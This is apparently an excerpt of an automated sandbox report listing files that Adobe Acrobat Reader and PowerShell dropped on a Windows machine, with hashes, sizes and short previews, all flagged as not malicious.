SHA-256:	A6BD852ACDAB8A5009DDADAC92F0521819BB2E2A7A03299F63E1E73FFFEC342C
SHA-512:	B71064E6D8B077FC6D5819E92359C1BACB8F346351A43D345CEB0AB54BD124FA4C329765D47CD0B34B3EA73DE7E03CF20D72C545FB6D45888DD98F7F49BA3D4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.257402684834974
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJf21rPeUkwRe9:YvXKXq6YpW77KG+16Ukee9
MD5:	2FD023147E526D4208368B5D6BDDCE7F
SHA1:	283DCFE63B1590769E2587BDEACA09DB29476481
SHA-256:	B500222C3A6CB73DEF358069547823E10D6CCA1614D1A1BDB667109D54C2E739
SHA-512:	194F9FD22A68D0DE48703D08756AC0D3D99215D0649AC4D7DE0834824C4C01C9EB808FBDEDB6EB6B2A3580AC34D304D275EEB7551757C347B2E2CCEE22A376D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.653726047123576
Encrypted:	false
SSDEEP:	24:Yv6XyijamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSrY:YvuTBgkDMUJUAh8cvMM
MD5:	ABC754949DD47B43531D18D00CAF6B79
SHA1:	C47EE7C1096B468B700EDB51DAF218DECD8F6377
SHA-256:	75F66B90FFEC1A25CD518C19D7580B2FEBDF99190FB4866FD2DBC7A7214083D2
SHA-512:	67A01AC30634B031C564ECB758144DE818FE135516B30CC27A0041BC85882238E6BFFEF9EFE11B8E2124DD72363F0B7BE1A4603BC435D0FB4D51EBDA5DF3831D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.229739252521495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfshHHrPeUkwRe9:YvXKXq6YpW77KGUUUkee9
MD5:	F501B859B8B64CCA304C121574C175C6
SHA1:	9ADC2CADF8CB4F4D222DA04C1BE95A0E0DC7B5E7
SHA-256:	1E99EB2EA9C46983C7600FB919735CE7CABA86C089E4940B7B21FA253D1BD52F
SHA-512:	FFA7F08291F5C416CC85708555F2E7A81FC4A2B5C6CC0078C2BAC5EAF6FBC7939B6B471B5F843E7A3615CC7698FC7766795BEF633520991F363AB994EBB2F035
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2394152576062245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJTqgFCrPeUkwRe9:YvXKXq6YpW77KGTq16Ukee9
MD5:	2E29EE24F069B005636853AA2B18B32E
SHA1:	02CEAEE3F6B694637B76428171EC33E82E552739
SHA-256:	50615700182C6A6DB96DF41FFD664E31826F190FA0CCF2095E612E1A2E3DFAD5
SHA-512:	B1085D2847488274513902FFE8298C522BDE21FF11E2ADC7A6EA075B58056319679B6A19224C6F16D4E730005FDCA7C6AF79C57713D818D1688A6970C2C69C1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1489684342312785
Encrypted:	false
SSDEEP:	48:YMr2raHnfHuWIoyV5loPeVgN9k+Iawx9RrS:qraHnfHuJDVQCg/k+ORO
MD5:	5CC95B90D951A5790D203780B57592BA
SHA1:	887E9497B2AF23DDF7D727865A9ADA88FBC964BE
SHA-256:	5DC4259F107FA3F610CB2DF132568B14E72EEA5E9E64025854118454290FB0BD
SHA-512:	C5B7A65407C916A1A0D8836DEEA5C0EB7575AC7E35104E43F091BA9B87063E76D5262E87BA6722857B6EA4B96D36B0733D57DD1089893AFD3B6F2940BB018619
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0d2b0d7ccd512cb16fd37a89f4bc14c2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736548515000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3e034a80c8b10ea2dd9a391126af171f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736548515000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d70c4bdfc8ce41b9f2953d9c49174535","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736548515000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0cf8620fdefda9c36a742c0fb1361ab0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736548515000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ec55ff58a438aa8595817e363f0b9523","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736548515000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b325c90c50f3cca8e6d163d386fc898f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9856942592790414
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp0w4zJwtNBwtNbRZ6bRZ4JwF:TVl2GL7ms6ggOVp0TzutYtp6PCM
MD5:	3A826411C345772376C5E93147274EF6
SHA1:	92182A4016E1DA0AD35D0441AA923A8122B2E50F
SHA-256:	C160B9E9D34021D01DF724364E7A99F97A4252AC9F880A16813408DABFCAAF75
SHA-512:	696808D0E79C74B7D9B2811C69FF0E39EE942D9DB6758473D37E1C0FC9F7E26082BF6916ABA19D764FE2DFA12955E9323D94B25751B83A9B5279C79FA0547B18
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3392635524699308
Encrypted:	false
SSDEEP:	24:7+tVAD1RZKHs/Ds/Sp0wPzJwtNBwtNbRZ6bRZWf1RZKZqLBx/XYKQvGJF7ursw:7MVGgOVp0szutYtp6PMsqll2GL7msw
MD5:	821174D32C818FB10D594B8D9FEAE86F
SHA1:	5ED1245882C4D2BB935330228FE5FBDA9F3526AA
SHA-256:	A150291B6D811C4EC9ACB6DDF8958422E5BD74BAACB62EC49F68AAF22A0AB0AC
SHA-512:	AACAFA11F5EB6AFC4E3DE660BD50B5357D31D44C1035204BCB008526DDDB0F1D2B130FFBF7429F932A018E7737004BF30D0E8D23B86765A26FD2D50C714B8593
Malicious:	false
Preview:	.... .c......XF}......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgLxjeoRqCOdPFxkgGT9d1+SYyu:6a6TZ44ADELx5qCOHxkgCK
MD5:	FCAB17947639680B3BA92308DFDD3580
SHA1:	96279307A31D4C4CA0744B44714FF00A37FD9208
SHA-256:	3B1A553F983789405ACD5C2A38D19FB5E9BD78E08F8E58C93F00D9253E4C1F60
SHA-512:	B17A66EB46ADEC759FF9F98B6152A2303BEF80999C4C76183F2144FED2E25A851898C343522A92BC4E3C84DC5E1C5D5B7E391DA9782474F3A1F9F8AB7B11F346
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI92471.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5024069929195045
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEXIH:Qw946cPbiOxDlbYnuRK+bDXIH
MD5:	45E221052EBAA907BFFA8E8AFB7F9A8D
SHA1:	DD12CE9CFFDDE13352D7EB6F7932D418F9AA110A
SHA-256:	ED968E650A839CB5D2D10566C007C9E0F64A06E66C8FE110F46091D84A52CB31
SHA-512:	A701396ECEAA3D092919652373A87D0C0C74F6A5E6DFE2B4670B74221928638DF66D685B0F6110089E8E94361E57B7A32C75D49BAA6515B6AF4EEA0832288651
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.3.5.:.1.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ukypyxn.jea.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_etw5jacb.sea.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-35-12-323.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.373428766210941
Encrypted:	false
SSDEEP:	384:Fio/wW5vqxol9TCC4taf7Aej/jDjwjhjbDJBeKxfcaC8fezG6wY9RRiZkHUHa7mn:h/u
MD5:	5115C75CD227052AE05BE0B9EAD1AE31
SHA1:	36B26DEF250F066EE43915F98E053CC64F8368F4
SHA-256:	F559D2B9D858A9902DA51E358778E38AFE1CE8D8461356B9F3BA0F9CF1902CCE
SHA-512:	D46A5D0EF329FF9B565B88C7170189C943713528BE23FBFB587F442E00C2C1D01572794B54C695E54D70B324011929000B07775CD1A5C43E3186EB37D6C0AEC3
Malicious:	false
Preview:	SessionID=cb68ccb9-6960-410f-8a35-8057244c7514.1736548512349 Timestamp=2025-01-10T17:35:12:349-0500 ThreadID=7360 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cb68ccb9-6960-410f-8a35-8057244c7514.1736548512349 Timestamp=2025-01-10T17:35:12:354-0500 ThreadID=7360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cb68ccb9-6960-410f-8a35-8057244c7514.1736548512349 Timestamp=2025-01-10T17:35:12:354-0500 ThreadID=7360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cb68ccb9-6960-410f-8a35-8057244c7514.1736548512349 Timestamp=2025-01-10T17:35:12:354-0500 ThreadID=7360 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cb68ccb9-6960-410f-8a35-8057244c7514.1736548512349 Timestamp=2025-01-10T17:35:12:354-0500 ThreadID=7360 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394801857128431
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbo:nM
MD5:	C117A2643EBB6BE71AC34A566C576BE2
SHA1:	4CAD3B0C56485DBD190F7DB9B731AD07A104A77C
SHA-256:	AF8E95CC394FB4A4C9BA0C436620BD54D2D69E41F6F09A94D5B4449CB4781B40
SHA-512:	429A7D3F3E3E3E3AD9EAAD582F3A7D897698646C6FDF93F48B1647885489FA11C2EF3DF00E2583E79ED810857E1FEC20B88822D3B9425A265B043A2AC5A8F9C6
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1a681335-9ed9-4269-986e-3cbaf5c8c361.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:bWNh3P6+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:C3PDegf121YS8lkipdjMMNB1DofjgJJg
MD5:	59EE5E2FB56A099CAA8EDFD7AF821ED6
SHA1:	F5DC4F876768D57B69EC894ADE0A66E813BFED92
SHA-256:	E100AAAA4FB2B3D78E3B6475C3B48BE189C5A39F73CFC2D22423F2CE928D3E75
SHA-512:	77A45C89F6019F92576D88AE67B59F9D6D36BA6FDC020419DAB55DBD8492BA97B3DAC18278EB0210F90758B3D643EA8DCF8EC2BD1481930A59B8BB515E7440FE
Malicious:	false
Preview:	...........].s..R/c..D@..\......3Z.....E.,...d{.k.~..H3....-......A...<>n.......X..Dp..d......f.{...9&F..........R.UW-..^..zC.kjOUUMm...nW...Z.7.J.R.....=.R........4..(WCMQ..u]]R...R......5...N)].....!.-.d]M....7.......i..rmP...6A.Z .=..~..$C-..}..Mo.T......:._'.S....r.9....6.....r....#...<U@.Iiu..X].T x.j....x...:q.....j]P3......[.5]\|..7;.5....^..7(.E..@..s...2..}..j.......t.5J...6Rf..%P{2T^$Y.V.O9.W...4...\ .5............Q.&j....h.+.u......W...4f]..s..(...:....`.<W_...zBs\|tF5 NI4.zD..5...u...!........M.0.K%F....,.c.....>R6..i..Am.y.~5..S....M...^......F.&..V...Z.......i....b....V..,.UH"...W...5}A.....KUT..=6jZ.....B...Z...Y(..u...=....x,2..."._Cf.....b...z7..... r..#.r..L9....2...R,..J?&..p..~.....3.=z...w..m..U..%._#<....r.....B.z..G..D.:4m.Z.&.N......</..Dz+.......vn.....;Qhk....!dw...A......3..a..K...).Q.`t[..)].6.%@....v.g.%E>;Z...uz.L..6Ct..O.Eo.O.e..........J.J$...:....K..)......F.....ZWE...z..5..g.io...l2[.,m9X..f......5\|:bj[.._R{gi...^

C:\Users\user\AppData\Local\Temp\acrocef_low\4b969ef4-7121-478c-b17c-08db82462e23.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLaGZjZwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLaGZjZwZGk3mlind9i4ufFXpAXkru
MD5:	AE1E8A5D3E7B2198980A0CA16DE5F3D3
SHA1:	A1DB2C58AFC81E6A114A8EB47BE0243956F79460
SHA-256:	8C2E1B13F6658714D51737D6745FE065B87497923945AB3028706A4171C8328F
SHA-512:	5B36CF0982C5AFED5CCEA4B30A0B31A2B5312FBF5438623D53153E076B59F1B4BEF8C08695EA74E086BCA4EF7221889DB977B5DCFF4C684BA0683FDDECDE2EC4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\836c590e-d4ea-4367-b32a-5a1fa92cfab8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
